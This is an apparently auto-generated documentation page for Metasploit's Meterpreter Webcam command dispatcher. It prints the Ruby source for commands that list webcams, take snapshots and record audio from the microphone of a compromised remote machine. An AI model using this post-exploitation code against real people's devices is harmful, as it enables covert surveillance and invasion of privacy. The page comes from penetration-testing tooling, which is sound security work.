Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

Overview

Webcam - Capture video from the remote system

Constant Summary collapse

Klass = 
Console::CommandDispatcher::Stdapi::Webcam

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_tabs, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_record_mic(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 108

def cmd_record_mic(*args)
	path    = Rex::Text.rand_text_alpha(8) + ".wav"
	play    = true
	duration   = 1	

	record_mic_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner" ],
		"-d" => [ true, "Number of seconds to record (Default: 1)" ],
		"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
		"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
	)

	record_mic_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: record_mic [options]\n" )
				print_line( "Records audio from the default microphone." )
				print_line( record_mic_opts.usage )
				return
			when "-d"
				duration = val.to_i
			when "-f"
				path = val
			when "-p"
				play = false if ( val =~ /^(f|n|0)/i )
		end
	}

	print_status("Starting...")
	data = client.webcam.record_mic(duration)
	print_status("Stopped")

	if( data )
		::File.open( path, 'wb' ) do |fd|
			fd.write( data )
		end
		path = ::File.expand_path( path )
		print_line( "Audio saved to: #{path}" )
		Rex::Compat.play_sound( path ) if play
	end
	return true
end

#cmd_webcam_list ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 37

def cmd_webcam_list
	begin
		client.webcam.webcam_list.each_with_index { |name, indx| 
			print_line("#{indx + 1}: #{name}")
		}
		return true
	rescue
		print_error("No webcams were found")
		return false
	end
end

#cmd_webcam_snap(*args) ⇒ Object 



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 49

def cmd_webcam_snap(*args)
	path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
	quality = 50
	view    = true
	index   = 1
	wc_list = []		

	webcam_snap_opts = Rex::Parser::Arguments.new(
		"-h" => [ false, "Help Banner" ],
		"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
		"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
		"-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
		"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
	)

	webcam_snap_opts.parse( args ) { | opt, idx, val |
		case opt
			when "-h"
				print_line( "Usage: webcam_snap [options]\n" )
				print_line( "Grab a frame from the specified webcam." )
				print_line( webcam_snap_opts.usage )
				return
			when "-i"
				index = val.to_i
			when "-q"
				quality = val.to_i
			when "-p"
				path = val
			when "-v"
				view = false if ( val =~ /^(f|n|0)/i )
		end
	}
	begin 
		wc_list << client.webcam.webcam_list
	rescue
	end
	if wc_list.length > 0
		print_status("Starting...")
		client.webcam.webcam_start(index)
		data = client.webcam.webcam_get_frame(quality)
		print_good("Got frame")
		client.webcam.webcam_stop
		print_status("Stopped")

		if( data )
			::File.open( path, 'wb' ) do |fd|
				fd.write( data )
			end
			path = ::File.expand_path( path )
			print_line( "Webcam shot saved to: #{path}" )
			Rex::Compat.open_file( path ) if view
		end
		return true
	else
		print_error("No webcams where found")
		return false
	end
end

#commands ⇒ Object

List of supported commands.



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 22

def commands
	{
		"webcam_list"   => "List webcams",
		"webcam_snap"   => "Take a snapshot from the specified webcam",
		"record_mic"    => "Record audio from the default microphone for X seconds"
	}
end

#name ⇒ Object

Name for this dispatcher



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# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 33

def name
	"Stdapi: Webcam"
end